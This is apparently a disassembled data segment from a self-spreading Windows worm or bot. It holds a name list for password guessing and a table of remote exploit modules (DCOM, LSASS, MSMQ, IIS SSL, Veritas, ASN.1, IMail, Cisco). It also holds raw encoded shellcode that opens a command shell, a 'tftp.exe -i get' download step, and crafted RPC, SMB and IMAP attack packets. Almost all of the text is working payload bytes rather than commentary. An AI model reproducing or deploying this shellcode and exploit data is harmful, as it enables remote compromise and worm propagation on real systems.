aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset dword_430058 dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" align 10h dword_43D760 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+BEo db 66h, 0B9h word_43D76E dw 0FFFFh ; DATA XREF: sub_40AD00+C6w db 80h, 73h, 0Eh byte_43D773 db 0FFh ; DATA XREF: sub_40AD00+CDw dd 0F9E243h dword_43D778 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+9Co db 0B1h byte_43D785 db 0FFh ; DATA XREF: sub_40AD00+A4w dw 7380h db 0Ch byte_43D789 db 0FFh ; DATA XREF: sub_40AD00+AAw dw 0E243h dd 0F9h dword_43D790 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40AC0D+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43D7F4 dd 12h ; DATA XREF: sub_40AC0D+3Bw dd 70746674h, 6578652Eh, 20692D20h aGet db ' get ',0 ; DATA XREF: sub_40AC0D+7Co aJ_1 db 'j',0 db 0E8h dword_43D80D dd 17h ; DATA XREF: sub_40AC0D+4Dw db 75h, 1, 0C3h db 0E8h dword_43D815 dd 1 ; DATA XREF: sub_40AC0D+43w byte_43D819 db 0, 6Ah, 0 ; DATA XREF: sub_40AC0D+C0o dd 7E8h db 0, 0Fh, 84h dword_43D823 dd 0FFFFFFEDh ; DATA XREF: sub_40AC0D+5Dw db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h, 0 aNetbios_0 db 'netbios',0 db 2 dup(0) aNetbios db 'NetBios',0 ; DATA XREF: sub_40B553+30o ; seg000:0040C6D0o ... align 4 dd 5 dup(0) dword_43D880 dd 8Bh ; DATA XREF: sub_40274D+1BB0r ; sub_40274D+1BD9o ... dd offset loc_4100AE dword_43D888 dd 0 ; DATA XREF: sub_40B3C5+2Eo ; seg000:0040C71Br ... dword_43D88C dd 0 ; DATA XREF: seg000:0040B6AEr dword_43D890 dd 0 ; DATA XREF: seg000:0040BA3Ar dword_43D894 dd 0 ; DATA XREF: seg000:0040B915r aNtpass db 'ntpass',0 align 10h dd 544E0000h, 73736150h, 6 dup(0) dd 1BDh, 4100AEh, 4 dup(0) aDcom135 db 'dcom135',0 dd 43440000h, 31204D4Fh, 3533h, 5 dup(0) dd 87h, 40CC47h, 0 dd 1, 2 dup(0) aDcom445 db 'dcom445',0 dd 43440000h, 34204D4Fh, 3534h, 5 dup(0) dd 1BDh, 40CC47h, 0 dd 1, 2 dup(0) aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'DCOM 1025',0 dd 5 dup(0) dd 401h, 40CC47h, 0 dd 1, 2 dup(0) aLsass db 'lsass',0 align 10h dd 4F480000h, 534C2044h, 535341h, 5 dup(0) dd 1BDh, 40DC47h, 0 dd 1, 2 dup(0) aLsasscb db 'lsasscb',0 dd 4F480000h, 534C2044h, 2D535341h, 4243h, 4 dup(0) dd 1BDh, 40E220h, 0 dd 1, 0 dd 1, 7361736Ch, 35333173h, 4C500000h, 53534153h, 35333120h dd 5 dup(0) dd 87h, 4102B1h, 0 dd 1, 2 dup(0) aLsass445 db 'lsass445',0 align 2 aPlsass445 db 'PLSASS 445',0 align 10h dd 4 dup(0) dd 1BDh, 4102B1h, 0 dd 1, 2 dup(0) aLsass1025 db 'lsass1025',0 aPlsass1025 db 'PLSASS 1025',0 align 10h dd 4 dup(0) dd 401h, 4102B1h, 0 dd 1, 2 dup(0) aWks_eng db 'wks_eng',0 dd 6B570000h, 63765373h, 676E4520h, 6873696Ch, 4 dup(0) dd 1BDh, 4113B7h, 0 dd 1, 2 dup(0) aWks_oth db 'wks_oth',0 dd 6B570000h, 63765373h, 68744F20h, 7265h, 4 dup(0) dd 1BDh, 41143Fh, 0 dd 1, 2 dup(0) aMsgsvc db 'msgsvc',0 align 10h dd 654D0000h, 6E657373h, 726567h, 5 dup(0) dd 87h, 40E596h, 0 dd 1, 2 dup(0) aMsmq2103 db 'msmq2103',0 align 2 aMsmq2103_0 db 'MSMQ 2103',0 dd 5 dup(0) dd 837h, 40FB58h, 0 dd 1, 2 dup(0) aMsmq2105 db 'msmq2105',0 align 2 aMsmq2105_0 db 'MSMQ 2105',0 dd 5 dup(0) dd 839h, 40FB58h, 0 dd 1, 2 dup(0) aMsmq2107 db 'msmq2107',0 align 2 aMsmq2107_0 db 'MSMQ 2107',0 dd 5 dup(0) dd 83Bh, 40FB58h, 0 dd 1, 2 dup(0) aIis5ssl db 'iis5ssl',0 dd 49490000h, 53533553h, 4Ch, 5 dup(0) dd 1BBh, 40CF1Eh, 0 dd 1, 0 dd 1, 64626577h, 7661h, 65570000h, 56414462h, 6 dup(0) dd 50h, 410DA7h, 0 dd 1, 2 dup(0) aVeritas db 'veritas',0 dd 65560000h, 61746972h, 61422073h, 70756B63h, 65784520h dd 63h, 2 dup(0) dd 17D5h, 410BAEh, 0 dd 1, 2 dup(0) aAsn1http db 'asn1http',0 align 2 aAsn_1Http db 'ASN.1-HTTP',0 align 10h dd 4 dup(0) dd 50h, 40F6D1h, 0 dd 1, 2 dup(0) aAsn1smb db 'asn1smb',0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40F6D1h, 0 dd 1, 2 dup(0) aAsn1smbnt db 'asn1smbnt',0 aAsn_1SmbNt db 'ASN.1-SMB NT',0 align 10h dd 4 dup(0) dd 8Bh, 40F6D1h, 0 dd 1, 2 dup(0) aUmpnp db 'umpnp',0 align 10h dd 4D550000h, 506E50h, 6 dup(0) dd 1BDh, 4106C6h, 0 dd 1, 2 dup(0) aImail_0 db 'imail',0 align 10h dd 4D490000h, 6C6961h, 6 dup(0) dd 8Fh, 40D12Ch, 0 dd 1, 2 dup(0) aMersin db 'mersin',0 align 10h dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0) dd 170Ch, 41DDECh, 0 dd 1, 2 dup(0) aCisco23 db 'cisco23',0 dd 69430000h, 206F6373h, 6E6C6554h, 7465h, 4 dup(0) dd 17h, 40C5C6h, 4 dup(0) aCisco80 db 'cisco80',0 dd 69430000h, 206F6373h, 50545448h, 5 dup(0) dd 50h, 40C731h, 14h dup(0) aLsass445_0 db 'lsass445',0 align 2 byte_43DF62 db 1 ; DATA XREF: sub_40274D:loc_404279r ; sub_40274D+1B36o aMsmq2103_1 db 'msmq2103',0 dd 73610100h, 6D73316Eh, 62h, 1, 3 dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h dword_43E108 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: seg000:0040CD25o ; seg000:0040CE62o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_43E158 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40CA2C+EBo dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_43E4BC dd 20h, 0 ; DATA XREF: sub_40CA2C+FEo dd 20h, 5C005Ch, 0 off_43E4D0 dd offset aEeckeren ; DATA XREF: sub_40CA2C+12Co ; "eeckeren" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dword_43E510 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40CA2C+143o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_40CA2C+18o ; sub_40CA2C+59o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrr_0 db '' db '' db '',0 dword_43E620 dd 10016C6h ; DATA XREF: sub_40CA2C+CCo dword_43E624 dd 100139Dh ; DATA XREF: sub_40CA2C+C3o dword_43E628 dd 0E983C931h, 0D9EED9B0h, 5BF42474h, 2B137381h, 8313778Dh ; DATA XREF: sub_40CA2C+3Co dd 0F4E2FCEBh, 5E9CE7D7h, 0EC8874C3h, 7FFCEDD4h, 56FCA90Fh dd 160B0617h, 98988C53h, 4CFC9564h, 5A9C8C0Bh, 12FCB9A0h dd 8AB7BCC5h, 67B70987h, 1EBD4C2Ch, 0E79C4F2Ah, 3B53D910h dd 4CFC685Eh, 759C8C0Fh, 983C81A0h, 0F8769174h, 9AFCA128h dd 726BA947h, 77ACBCE8h, 9847CEA0h, 63FC816Bh, 53FC2037h dd 9D1FD323h, 439B8365h, 40115BD4h, 2144E54Dh, 2104FA43h dd 0C388D974h, 0EF9A4643h, 0C588DD10h, 75920474h, 117F60AAh dd 0EC75E77Eh, 1AAEE5FBh, 0EC2020DEh, 4024DEFDh, 4034DE78h dd 0C388DE68h, 0D470E54Dh, 0F2FEDE4Dh, 9D3E5BEh, 0EC204A5Bh dd 4267E7FDh, 7BA7727Eh, 0FA59208Fh, 40A1727Ch, 7BA7727Eh dd 5AF1C4CEh, 43A1727Ch, 0EC22D97Fh, 0F41F1EFBh, 440E4B52h dd 0EC225BD4h, 771DEBFBh, 7E14E54Dh, 431D68A2h, 9ABBA472h dd 9A33E7CCh, 0E0B7BCC9h, 3E357381h, 805BCFD5h, 0B84FF7A6h dd 611F2680h, 0EC613ED5h, 0C588C95Eh, 4225DA70h, 121DDC7Ah dd 4222DC7Ah, 0BE1F5DD4h, 40B988F2h, 0EC1D5BD4h, 0C388BAD4h dd 908BDAA0h, 0C588E9EFh, 7BA77279h, 4C7307DBh, 0ECA17278h dd 13778DFBh, 2 dup(0) dword_43E788 dd 2016280h, 100BDh, 8F160001h, 182h, 2 dup(0) ; DATA XREF: seg000:0040CF45o byte_43E7A0 db 0EBh, 25h ; DATA XREF: seg000:0040CFCEo word_43E7A2 dw 0FAE9h ; DATA XREF: seg000:0040CFB4o dword_43E7A4 dd 0F677D399h, 596C0602h, 1DF8596Ch, 0D18CDE9Ch, 3D4704Ch ; DATA XREF: seg000:0040CFC4o dd 53574658h, 32335F32h, 4C4C442Eh, 0E805EB01h, 0FFFFFFF9h dd 2CED835Dh, 6459306Ah, 408B018Bh, 1C708B0Ch, 8788BADh dd 8B3C5F8Dh, 8BFB011Bh, 0FB01785Bh, 11C4B8Bh, 24538BF9h dd 5153FA01h, 205B8B52h, 0C931FB01h, 99C03141h, 18B348Bh dd 0C231ACFEh, 0C084E2D1h, 0B60FF775h, 448D0945h, 39660845h dd 66E17510h, 585A1031h, 5250565Eh, 41104E2Bh, 4A0CB70Fh dd 188048Bh, 4DB60FF8h, 8D448909h, 94DFED8h, 4DFEBE75h dd 0FE177408h, 5D8D244Dh, 0D0FF531Ah, 26AC789h, 9458858h dd 0C794580h, 8B5082EBh, 93350445h, 89939393h, 8B660445h dd 35660245h, 89669393h, 89580245h, 53DB31CEh, 56535353h dd 0D0FF5646h, 5855C789h, 6A308966h, 0FF575510h, 458DE055h dd 55FF5088h, 0FF5555E8h, 448DEC55h, 53940C05h, 78652E68h dd 635C6865h, 3194646Dh, 0CC458DD2h, 57575794h, 0CAFE5353h dd 9452F201h, 5078458Dh, 5088458Dh, 535308B1h, 0CEFE106Ah dd 53535352h, 0F055FF55h, 55FFFF6Ah, 0E4h aA01Login db 'a01 LOGIN "&',0 ; DATA XREF: seg000:0040D243o align 10h dword_43E8F0 dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah ; DATA XREF: seg000:0040D253o dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh, 39943EC4h dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h, 7D942E6Bh dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh, 0F59436E3h dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h, 3C94B7FCh dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h, 4E6C6D88h dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h dd 14CFE5B3h dword_43E9A8 dd 7D1F1A9Fh ; DATA XREF: seg000:0040D210o db 86h, 72h word_43E9AE dw 0AE1Bh ; DATA XREF: seg000:0040D222o dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh, 8366DC99h dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h dd 0 dword_43EA2C dd 4EBh ; DATA XREF: seg000:0040D2EDo ; seg000:0040D31Fo ... dword_43EA30 dd 100102EBh, 0 ; DATA XREF: seg000:0040D2FEo dword_43EA38 dd 100103BBh, 0 ; DATA XREF: seg000:0040D330o dword_43EA40 dd 100108CBh, 0 ; DATA XREF: seg000:0040D36Bo dword_43EA48 dd 100102D9h, 0 ; DATA XREF: seg000:0040D3A6o dword_43EA50 dd 1001031Bh, 0 ; DATA XREF: seg000:0040D3D3o dword_43EA58 dd 10010269h, 0 ; DATA XREF: seg000:0040D411o dword_43EA60 dd 10010296h, 0 ; DATA XREF: seg000:0040D43Eo dword_43EA68 dd 100102E2h, 0 ; DATA XREF: seg000:0040D46Bo dword_43EA70 dd 100102E2h, 0 ; DATA XREF: seg000:0040D498o dword_43EA78 dd 100102E2h, 0 ; DATA XREF: seg000:0040D4C5o dword_43EA80 dd 100102E2h, 0 ; DATA XREF: seg000:0040D4F2o dword_43EA88 dd 10010302h, 0 ; DATA XREF: seg000:0040D51Fo dword_43EA90 dd 100249D4h, 0 ; DATA XREF: seg000:0040D54Co dword_43EA98 dd 1001D9BBh, 0 ; DATA XREF: seg000:0040D579o dword_43EAA0 dd 100218E6h, 0 ; DATA XREF: seg000:0040D5A6o dword_43EAA8 dd 10021782h, 0 ; DATA XREF: seg000:0040D5D3o dword_43EAB0 dd 10021A51h, 0 ; DATA XREF: seg000:0040D5FDo dword_43EAB8 dd 10021A51h, 0 ; DATA XREF: seg000:0040D62Bo dword_43EAC0 dd 10021A62h, 0 ; DATA XREF: seg000:0040D781o dword_43EAC8 dd 335B0FEBh, 0E98366C9h, 553380E0h, 0EBFAE243h, 0FFECE805h ; DATA XREF: seg000:0040D264o dd 0BB8CFFFFh, 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h dd 0B4AAh aWe0wn db '" "We0wn"',0Dh,0Ah,0 ; DATA XREF: seg000:0040D278o dword_43EB00 dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh ; DATA XREF: sub_40DDD9+181o ; sub_40DDD9+23Eo dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h dd 0D9C9D9C9h, 8DCF66C9h db 12h, 41h, 0F1h byte_43EB6F db 0E6h ; DATA XREF: sub_40DDD9+130o dd 0F1989999h db 9Bh, 99h word_43EB76 dw 4B9Dh ; DATA XREF: sub_40DDD9+120o dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0 dword_43EC40 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh ; DATA XREF: sub_40D7FE+159o ; sub_40D7FE+216o dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh dword_43ECF0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40D7FE+108o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_43EDD8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: seg000:0040DCBDo ; seg000:0040E296o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 8 dword_43EE68 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040DCE9o ; seg000:0040E2C2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 2 dup(0) dword_43EF18 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040DD10o ; seg000:0040E2E9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 